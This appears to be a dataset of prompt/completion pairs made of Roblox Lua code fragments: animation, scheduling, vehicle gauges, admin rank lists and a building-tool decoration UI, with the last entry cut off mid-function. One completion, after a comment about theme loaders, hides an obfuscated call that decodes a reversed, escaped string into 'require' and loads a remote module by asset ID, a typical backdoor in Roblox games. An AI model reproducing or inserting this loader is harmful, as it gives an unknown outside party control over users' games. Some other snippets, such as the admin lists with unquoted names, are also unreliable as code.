prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, zombie)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, zombie)
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, zombie, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, zombie, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, zombie, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, zombie)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, zombie)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, zombie)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
local requireHandleCheck = not UserSettings():IsUserFeatureEnabled("UserToolR15Fix")
if tool and ((requireHandleCheck and tool.RequiresHandle) or tool:FindFirstChild("Handle")) then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
--[LOCALS]-- |
local Icon = require(game:GetService("ReplicatedStorage").Icon)
local SocialService = game:GetService("SocialService")
local Player = game.Players.LocalPlayer
local icon = Icon.new()
:setLabel("Invite Friends", "deselected")
:setLabel("Open", "selected")
:setCaption("Invite your friends to join!") |
--------------------------------------------------------------
-- You DO NOT need to add yourself to any of these lists!!! --
-------------------------------------------------------------- |
local Owners={kill1773} -- Can set SuperAdmins, & use all the commands
local SuperAdmins={kill1773} -- Can set permanent admins, & shutdown the game
local Admins={kill1773} -- Can ban, crash, & set Moderators/VIP
local Mods={kill1773} -- Can kick, mute, & use most commands
local VIP={kill1773} -- Can use nonabusive commands only on self |
--If you parent the LocalScript manually, you can remove this script. | |
--------------------- |
local colorchangingpart = script.Parent --put it here tomake it easier
|
--[[
param targetFps Task scheduler won't run a task if it'd make the FPS drop below this amount
(WARNING) this only holds true if it is used properly. If you try to complete 10 union operations
at once in a single task then of course your FPS is going to drop -- queue the union operations
up one at a time so the task scheduler can do its job.
returns scheduler
method Pause Pauses the scheduler so it won't run tasks. Tasks may still be added while the scheduler is
paused. They just won't be touched until it's resumed. Performance efficient -- disables
execution loop entirely until scheduler is resumed.
method Resume Resumes the paused scheduler.
method Destroy Destroys the scheduler so it can't be used anymore.
method QueueTask Queues a task for automatic execution.
param callback function (task) to be run.
Example usage:
local scheduler = TaskScheduler:CreateScheduler(60)
local totalOperations = 0
local paused
for i=1,100 do
scheduler:QueueTask(function()
local partA = Instance.new("Part", workspace)
local partB = Instance.new("Part", workspace)
plugin:Union({partA, partB}):Destroy()
totalOperations = totalOperations + 1
print("Times unioned:", totalOperations)
if (totalOperations == 50) then
scheduler:Pause()
paused = true
end
end)
end
repeat wait() until paused
wait(2)
scheduler:Resume()
--]] |
function TaskScheduler:CreateScheduler(targetFps)
local scheduler = {}
local queue = {}
local sleeping = true
local paused
local updateFrameTableEvent = nil
local start = tick()
runService.RenderStepped:Wait()
local function UpdateFrameTable()
lastIteration = tick()
for i = #frameUpdateTable,1,-1 do
frameUpdateTable[i + 1] = ((frameUpdateTable[i] >= (lastIteration - 1)) and frameUpdateTable[i] or nil)
end
frameUpdateTable[1] = lastIteration
end
local function Loop()
updateFrameTableEvent = runService.RenderStepped:Connect(UpdateFrameTable)
while (true) do
if (sleeping) then break end
local fps = (((tick() - start) >= 1 and #frameUpdateTable) or (#frameUpdateTable / (tick() - start)))
if (fps >= targetFps and (tick() - frameUpdateTable[1]) < (1 / targetFps)) then
if (#queue > 0) then
queue[1]()
table.remove(queue, 1)
else
sleeping = true
break
end
else
runService.RenderStepped:Wait()
end
end
updateFrameTableEvent:Disconnect()
updateFrameTableEvent = nil
end
function scheduler:Pause()
paused = true
sleeping = true
end
function scheduler:Resume()
if (paused) then
paused = false
sleeping = false
Loop()
end
end
function scheduler:Destroy()
scheduler:Pause()
for i in pairs(scheduler) do
scheduler[i] = nil
end
setmetatable(scheduler, {
__index = function()
error("Attempt to use destroyed scheduler")
end;
__newindex = function()
error("Attempt to use destroyed scheduler")
end;
})
end
function scheduler:QueueTask(callback)
queue[#queue + 1] = callback
if (sleeping and not paused) then
sleeping = false
Loop()
end
end
return scheduler
end
return TaskScheduler
|
-- yaw-axis rotational velocity of a part with a given CFrame and total RotVelocity |
local function yawVelocity(rotVel, cf)
return math.abs(cf.YVector:Dot(rotVel))
end
|
--[[
This is a dictionary that lays out the permissions of each user, and their rank.
FORMAT: [ranknumber] = selectlimit or true. Setting it to true disables the limit
]] |
local module = {
[0] = 20000,
[1] = true,
}
return module
|
--[=[
@param motor Enum.VibrationMotor
@param intensity number
@param duration number
Sets the gamepad's haptic motor to a certain intensity for a given
period of time. The motor will stop vibrating after the given
`duration` has elapsed.
Calling any motor setter methods (e.g. `SetMotor`, `PulseMotor`,
`StopMotor`) _after_ calling this method will override the pulse.
For instance, if `PulseMotor` is called, and then `SetMotor` is
called right afterwards, `SetMotor` will take precedent.
```lua
-- Pulse the large motor for 0.2 seconds with an intensity of 90%:
gamepad:PulseMotor(Enum.VibrationMotor.Large, 0.9, 0.2)
-- Example of PulseMotor being overridden:
gamepad:PulseMotor(Enum.VibrationMotor.Large, 1, 3)
task.wait(0.1)
gamepad:SetMotor(Enum.VibrationMotor.Large, 0.5)
-- Now the pulse won't shut off the motor after 3 seconds,
-- because SetMotor was called, which cancels the pulse.
```
]=] |
function Gamepad:PulseMotor(motor: Enum.VibrationMotor, intensity: number, duration: number)
local id = self:SetMotor(motor, intensity)
local heartbeat = HeartbeatDelay(duration, function()
if self._setMotorIds[motor] ~= id then return end
self:StopMotor(motor)
end)
self._gamepadTrove:Add(heartbeat)
end
|
-- << SCREEN CLICKED/DRAGGED/TOUCHED >>
--Check to activate any Client Commands |
local functionsToCheck = {"laserEyes"}
local function checkPressFunctions(hitPosition)
main.lastHitPosition = hitPosition
for _,commandName in pairs(functionsToCheck) do
main:GetModule("cf"):ActivateClientCommand(commandName)
end
end
|
--[[
-----------[ THEMES ]-----------
- LIGHT THEME:
If you want the light theme version of the board,
replace line 1 with:
require(2925075326).Parent = script.Parent
- DARK THEME:
If you want the dark theme version of the board,
replace line 1 with:
require(5799918029).Parent = script.Parent
- RAINBOW THEME:
If you want the rainbow theme version of the board,
replace line 1 with:
require(6872314867).Parent = script.Parent
--]]
--[[ Last synced 5/29/2021 05:54 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = gauges.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",gauges.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = gauges.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
values.RPM.Changed:connect(function()
gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)
local _TCount = 0
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
values.Boost.Changed:connect(function()
local boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5)
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
gauges.PSI.Text = tostring(math.floor(boost).." PSI")
end)
else
gauges.Boost:Destroy()
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false)
elseif gearText == -1 then gearText = "R"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true)
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = true
gauges.TCS.TextColor3 = Color3.new(1,0,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.TCS.Visible = false
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = false
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
end
else
if gauges.TCS.Visible then
gauges.TCS.Visible = false
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(1,0,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.ABS.Visible = false
end
end)
values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = false
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
end
else
if gauges.ABS.Visible then
gauges.ABS.Visible = false
end
end
end)
function PBrake()
gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)
function Gear()
if values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif values.TransmissionMode.Value == "Semi" then
gauges.TMode.Text = "S/T"
gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
gauges.TMode.Text = "M/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
values.TransmissionMode.Changed:connect(Gear)
values.Velocity.Changed:connect(function(property)
gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
gauges.Visible=not gauges.Visible
end
end)
gauges.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(gauges.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
--handle.ClickDetector.MouseClick:Connect(function(player, part) |
if doorOpen == true and changingState == false then
changingState = true
soundo:Play()
for i = 1, 16 do
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, 0.1))
wait(0.0001)
end
changingState = false
doorOpen = false
elseif changingState == false then
changingState = true
soundc:Play()
for i = 1, 16 do
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, -0.1))
wait(0.0001)
end
changingState = false
doorOpen = true
end
end)
|
--[[
remoteSignal = ClientRemoteSignal.new(remoteEvent: RemoteEvent)
remoteSignal:Connect(handler: (...args: any)): Connection
remoteSignal:Fire(...args: any): void
remoteSignal:Wait(): (...any)
remoteSignal:Destroy(): void
--]] |
local IS_SERVER = game:GetService("RunService"):IsServer()
local Ser = require(script.Parent.Parent.Ser)
|
--[[ Local Variables ]] | --
local MasterControl = {}
local Players = game:GetService('Players')
local RunService = game:GetService('RunService')
local VRService = game:GetService('VRService')
local VREnabled = VRService.VREnabled
while not Players.LocalPlayer do
Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local LocalCharacter = LocalPlayer.Character
local CachedHumanoid = nil
local isJumping = false
local moveValue = Vector3.new(0, 0, 0)
local isJumpEnabled = true
local areControlsEnabled = true
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -590 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[
The entry point for the Fusion library.
]] |
local Types = require(script.Types)
local restrictRead = require(script.Utility.restrictRead)
export type State = Types.State
export type StateOrValue = Types.StateOrValue
export type Symbol = Types.Symbol
return restrictRead("Fusion", {
New = require(script.Instances.New),
Children = require(script.Instances.Children),
OnEvent = require(script.Instances.OnEvent),
OnChange = require(script.Instances.OnChange),
State = require(script.State.State),
Computed = require(script.State.Computed),
ComputedPairs = require(script.State.ComputedPairs),
Compat = require(script.State.Compat),
Tween = require(script.Animation.Tween),
Spring = require(script.Animation.Spring)
})
|
--[[
Evercyan @ March 2023
PlayerListStats
PlayerListStats creates a leaderstats folder under every Player on the client side (each client has their own instances)
which shows their levels. They are placeholders, meaning the real data is under ReplicatedStorage.PlayerData.
If you change stats under leaderstats instead of a pData config, it will not save, and will likely be overwritten.
]] | |
-- List of creatable decoration types |
local DecorationTypes = { 'Smoke', 'Fire', 'Sparkles' };
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not DecorateTool.UI then
return;
end;
-- Go through each decoration type and update each options UI
for _, DecorationType in pairs(DecorationTypes) do
local Decorations = GetDecorations(DecorationType);
local DecorationSettingsUI = DecorateTool.UI[DecorationType];
-- Option input references
local Options = DecorationSettingsUI.Options;
-- Add/remove button references
local AddButton = DecorationSettingsUI.AddButton;
local RemoveButton = DecorationSettingsUI.RemoveButton;
-- Hide option UIs for decoration types not present in the selection
if #Decorations == 0 and not DecorationSettingsUI.ClipsDescendants then
CloseOptions();
end;
-------------------------------------------
-- Show and hide "ADD" and "REMOVE" buttons
-------------------------------------------
-- If no selected parts have decorations
if #Decorations == 0 then
-- Show add button only
AddButton.Visible = true;
AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);
RemoveButton.Visible = false;
-- If only some selected parts have decorations
elseif #Decorations < #Selection.Items then
-- Show both add and remove buttons
AddButton.Visible = true;
AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);
RemoveButton.Visible = true;
RemoveButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5 - RemoveButton.AbsoluteSize.X - 2, 0, 3);
-- If all selected parts have decorations
elseif #Decorations == #Selection.Items then
-- Show remove button
RemoveButton.Visible = true;
RemoveButton.Position = UDim2.new(1, -RemoveButton.AbsoluteSize.X - 5, 0, 3);
AddButton.Visible = false;
end;
--------------------
-- Update each input
--------------------
-- Update smoke inputs
if DecorationType == 'Smoke' then
-- Get the inputs
local SizeInput = Options.SizeOption.Input.TextBox;
local VelocityInput = Options.VelocityOption.Input.TextBox;
local OpacityInput = Options.OpacityOption.Input.TextBox;
local ColorIndicator = Options.ColorOption.Indicator;
-- Update the inputs
UpdateDataInputs {
[SizeInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Size'), 2) or '*';
[VelocityInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'RiseVelocity'), 2) or '*';
[OpacityInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Opacity'), 2) or '*';
};
UpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'Color'));
-- Update fire inputs
elseif DecorationType == 'Fire' then
-- Get the inputs
local SizeInput = Options.SizeOption.Input.TextBox;
local HeatInput = Options.HeatOption.Input.TextBox;
local SecondaryColorIndicator = Options.SecondaryColorOption.Indicator;
local ColorIndicator = Options.ColorOption.Indicator;
-- Update the inputs
UpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'Color'));
UpdateColorIndicator(SecondaryColorIndicator, Support.IdentifyCommonProperty(Decorations, 'SecondaryColor'));
UpdateDataInputs {
[HeatInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Heat'), 2) or '*';
[SizeInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Size'), 2) or '*';
};
-- Update sparkle inputs
elseif DecorationType == 'Sparkles' then
-- Get the inputs
local ColorIndicator = Options.ColorOption.Indicator;
-- Update the inputs
UpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'SparkleColor'));
end;
end;
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not DecorateTool.UI then
return;
end;
-- Hide the UI
DecorateTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetDecorations(DecorationType)
-- Returns all the decorations of the given type in the selection
local Decorations = {};
-- Get any decorations from any selected parts
for _, Part in pairs(Selection.Items) do
table.insert(Decorations, Support.GetChildOfClass(Part, DecorationType));
end;
-- Return the decorations
return Decorations;
end;
function UpdateColorIndicator(Indicator, Color)
-- Updates the given color indicator
-- If there is a single color, just display it
if Color then
Indicator.BackgroundColor3 = Color;
Indicator.Varies.Text = '';
-- If the colors vary, display a * on a gray background
else
Indicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);
Indicator.Varies.Text = '*';
end;
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Make sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.Before, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncDecorate', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.After, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncDecorate', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncDecorate', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
function EnableOptionsUI(SettingsUI)
-- Sets up the UI for the given decoration type settings UI
-- Get the type of decoration this options UI is for
local DecorationType = SettingsUI.Name;
-- Option input references
local Options = SettingsUI.Options;
-- Add/remove/show button references
local AddButton = SettingsUI.AddButton;
local RemoveButton = SettingsUI.RemoveButton;
local ShowButton = SettingsUI.ArrowButton;
-- Enable options for smoke decorations
if DecorationType == 'Smoke' then
SyncInputToProperty('Color', DecorationType, 'Color', Options.ColorOption.HSVPicker);
SyncInputToProperty('Size', DecorationType, 'Number', Options.SizeOption.Input.TextBox);
SyncInputToProperty('RiseVelocity', DecorationType, 'Number', Options.VelocityOption.Input.TextBox);
SyncInputToProperty('Opacity', DecorationType, 'Number', Options.OpacityOption.Input.TextBox);
-- Enable options for fire decorations
elseif DecorationType == 'Fire' then
SyncInputToProperty('Color', DecorationType, 'Color', Options.ColorOption.HSVPicker);
SyncInputToProperty('SecondaryColor', DecorationType, 'Color', Options.SecondaryColorOption.HSVPicker);
SyncInputToProperty('Size', DecorationType, 'Number', Options.SizeOption.Input.TextBox);
SyncInputToProperty('Heat', DecorationType, 'Number', Options.HeatOption.Input.TextBox);
-- Enable options for sparkle decorations
elseif DecorationType == 'Sparkles' then
SyncInputToProperty('SparkleColor', DecorationType, 'Color', Options.ColorOption.HSVPicker);
end;
-- Enable decoration addition button
AddButton.MouseButton1Click:connect(function ()
AddDecorations(DecorationType);
end);
-- Enable decoration removal button
RemoveButton.MouseButton1Click:connect(function ()
RemoveDecorations(DecorationType);
end);
-- Enable decoration options UI show button
ShowButton.MouseButton1Click:connect(function ()
OpenOptions(DecorationType);
end);
end;
function OpenOptions(DecorationType)
-- Opens the options UI for the given decoration type
-- Get the UI
local UI = DecorateTool.UI[DecorationType];
local UITemplate = Core.Tool.Interfaces.BTDecorateToolGUI[DecorationType];
-- Close up all decoration option UIs
CloseOptions(DecorationType);
-- Calculate how much to expand this options UI by
local HeightExpansion = UDim2.new(0, 0, 0, UITemplate.Options.Size.Y.Offset);
-- Start the options UI size from 0
UI.Options.Size = UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0);
-- Allow the options UI to be seen
UI.ClipsDescendants = false;
-- Perform the options UI resize animation
UI.Options:TweenSize(
UITemplate.Options.Size + HeightExpansion,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,
function ()
-- Allow visibility of overflowing UIs within the options UI
UI.Options.ClipsDescendants = false;
end
);
-- Expand the main UI to accommodate the expanded options UI
DecorateTool.UI:TweenSize(
Core.Tool.Interfaces.BTDecorateToolGUI.Size + HeightExpansion,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
-- Push any UIs below this one downwards
local DecorationTypeIndex = Support.FindTableOccurrence(DecorationTypes, DecorationType);
for DecorationTypeIndex = DecorationTypeIndex + 1, #DecorationTypes do
-- Get the UI
local DecorationType = DecorationTypes[DecorationTypeIndex];
local UI = DecorateTool.UI[DecorationType];
-- Perform the position animation
UI:TweenPosition(
UDim2.new(
UI.Position.X.Scale,
UI.Position.X.Offset,
UI.Position.Y.Scale,
30 + 30 * (DecorationTypeIndex - 1) + HeightExpansion.Y.Offset
),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
end;
end;
function CloseOptions(Exception)
-- Closes all decoration options, except the one for the given decoration type
-- Go through each decoration type
for DecorationTypeIndex, DecorationType in pairs(DecorationTypes) do
-- Get the UI for each decoration type
local UI = DecorateTool.UI[DecorationType];
local UITemplate = Core.Tool.Interfaces.BTDecorateToolGUI[DecorationType];
-- Remember the initial size for each options UI
local InitialSize = UITemplate.Options.Size;
-- Move each decoration type UI to its starting position
UI:TweenPosition(
UDim2.new(
UI.Position.X.Scale,
UI.Position.X.Offset,
UI.Position.Y.Scale,
30 + 30 * (DecorationTypeIndex - 1)
),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
-- Make sure to not resize the exempt decoration type UI
if not Exception or Exception and DecorationType ~= Exception then
-- Allow the options UI to be resized
UI.Options.ClipsDescendants = true;
-- Perform the resize animation to close up
UI.Options:TweenSize(
UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,
function ()
-- Hide the option UI
UI.ClipsDescendants = true;
-- Set the options UI's size to its initial size (for reexpansion)
UI.Options.Size = InitialSize;
end
);
end;
end;
-- Contract the main UI if no option UIs are being opened
if not Exception then
DecorateTool.UI:TweenSize(
Core.Tool.Interfaces.BTDecorateToolGUI.Size,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
end;
end;
function SyncInputToProperty(Property, DecorationType, InputType, Input)
-- Enables `Input` to change the given property
-- Enable inputs
if InputType == 'Color' then
Input.MouseButton1Click:connect(function ()
Core.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start(
Support.IdentifyCommonProperty(GetDecorations(DecorationType), Property) or Color3.new(0, 0, 1),
function (Color) SetProperty(DecorationType, Property, Color) end,
